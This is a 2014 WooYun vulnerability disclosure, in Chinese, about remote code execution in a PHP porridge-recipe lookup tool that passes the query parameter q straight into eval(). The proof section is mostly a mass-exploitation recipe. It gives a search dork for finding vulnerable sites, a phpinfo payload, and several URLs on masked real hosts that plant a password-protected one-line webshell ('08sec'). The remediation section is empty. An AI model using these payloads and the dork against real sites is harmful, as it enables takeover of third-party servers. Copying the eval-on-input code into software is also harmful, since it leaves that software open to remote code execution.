当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2014-53172

漏洞标题: 某生活查询工具代码执行#可批量Getshell

相关厂商: Cncert国家互联网应急中心)处理

漏洞作者: U神

提交时间: 2014-03-11 09:50

公开时间: 2014-06-07 09:51

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-11: 细节已通知厂商并且等待厂商处理中
2014-03-10: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-05-04: 细节向核心白帽子及相关领域专家公开
2014-05-14: 细节向普通白帽子公开
2014-05-24: 细节向实习白帽子公开
2014-06-07: 细节向公众公开

简要描述:

某生活查询工具代码执行#可批量Getshell

详细说明:

这个生活查询工具很多网站都在用,直接导致了大多网站被沦陷!我们来看看它的部分源代码:

code 区域
?php
set_time_limit(0);
$prescription = trim($_GET['q']);
$id = intval($_GET['id']);

$r_num = 0; //结果个数
$lan = 3;
$pf = "";
$pf_l = "";

if($prescription!=""){
$dreamdb=file("data/zp.dat");//读取粥谱文件
$count=count($dreamdb);//计算行数

for($i=0; $i<$count; $i++) {
$keyword=explode(" ",$prescription);//拆分关键字
$dreamcount=count($keyword);//关键字个数
$detail=explode("\t",$dreamdb[$i]);
for ($ai=0; $ai<$dreamcount; $ai++) {
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");//这个地方使用了一个危险的eval函数导致了代码执行
if(($found)){
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
break;
}
}
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b><a href="./">粥谱</a>:找到 <a href="./?q='.urlencode($prescription).'"><font color="#c60a00">'.$prescription.'</font></a> 的相关粥谱'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}elseif($id>0){
$dreamdb=file("data/zp.dat");//读取粥谱文件
$count=count($dreamdb);//计算行数

$detail=explode("\t",$dreamdb[$id-1]);
$pf = '<table width="700" cellpadding=2 cellspacing=0 class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle"><b><a href="./">粥谱</a> / '.$detail[0].'</b></td><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" align="right">';
if($id>1 && $id<=$count) $pf .= '<a href="?id='.($id-1).'">上一个</a> ';
$pf .= '<a href="./">查看全部</a>';
if($id>=1 && $id<$count) $pf .= ' <a href="?id='.($id+1).'">下一个</a>';
$pf .= '</td></tr><tr><td align="center" colspan="2"><h3>'.$detail[0].'</h3></td></tr><tr><td style="padding:5px;line-height:21px;" colspan="2"><p>'.$detail[1].'</p></td></tr></table>';
}else{
$dreamdb=file("data/zp.dat");//读取粥谱文件
$count=count($dreamdb);//计算行数

$pfl = rand(0,intval($count/60));

for($i=$pfl*60; $i<$pfl*60+60; $i++) {
if($i>=$count-1) break;
$detail=explode("\t",$dreamdb[$i]);
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b>推荐粥谱'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}
?>

漏洞证明:

这是一个粥谱的查询工具,根据这个页面的特征我们可以批量Getshell。



Google or Baidu:

intitle:粥谱-生活查询

搜索粥谱:

输入最短的关键字,如羊肉山药粥,输入羊肉后按Enter即可



..等等多种关键字都可以找到存在该漏洞的网站。



Example:



http://**.**.**.**/zhoupu/index.php?q={${phpinfo%28%29}} 执行了phpinfo



01.jpg



那么直接插入一句话执行:

http://**.**.**.**/bbx/zhoupu/index.php?q={${eval%28$_POST['08sec']%29}} 密码08sec

02.jpg





更多如:

03.jpg





http://**.**.**.**/toolsji/zhoupu/index.php?q={${eval%28$_POST['08sec']%29}}

http://**.**.**.**/shenghuo/zhoupu/index.php?q={${eval%28$_POST['08sec']%29}}

http://**.**.**.**/zhoupu/?q={${eval%28$_POST['08sec']%29}}

http://**.**.**.**/zhoupu/?q={${eval%28$_POST['08sec']%29}}

http://**.**.**.**/tool/zhoupu/?q={${eval%28$_POST['08sec']%29}}

如果转义了单引号可以直接一个字母:

http://**.**.**.**/?q={${eval%28$_POST[u]%29}}



等等

修复方案:

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-03-10 10:14

厂商回复:

暂未明确软件生产厂商,先行确认,后续由第三方厂商进行第三方安全防护吧。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-03-11 09:53 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)
    1

    我猜很多导航站都用的那个吧

  2. 2014-05-09 09:47 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)
    0

    你的都给钱了吖,我的都没给,呵呵

  3. 2014-05-09 10:48 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    @浩天 发钱的生病了,要晚点继续发

  4. 2014-05-09 10:52 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)
    0

    @U神 这你都知道

登录后才能发表评论,请先 登录